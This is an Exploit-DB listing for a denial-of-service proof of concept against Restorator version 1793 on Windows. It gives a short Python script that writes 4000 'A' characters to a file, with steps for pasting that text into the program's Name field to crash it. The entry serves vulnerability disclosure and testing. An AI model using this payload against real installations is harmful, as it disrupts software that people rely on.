Restorator 1793 - Denial of Service (PoC)

EDB-ID:
45223

CVE:
N/A

EDB Verified: ✓

Author:
GIONATHAN REALE

Type:
DOS

Exploit: / {}

Platform:
WINDOWS_X86-64

Date:
2018-08-20

Vulnerable App:

```
# Exploit Title: Restorator 1793 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-19
# Homepage: https://www.bome.com/
# Software Link:
https://www.bome.com/bome/downloads/Restorator2018_Full_1793.exe
# Tested Version: v1793
# Tested on OS: Windows 7 x64
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window paste the content of
# "exploit.txt" into the following field: "Name". Click "Ok" and you will
see a crash.

#!/usr/bin/python

buffer = "A" * 4000

payload = buffer
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags: Denial of Service (DoS)

Advisory/Source: Link

Databases

Links

Sites

Solutions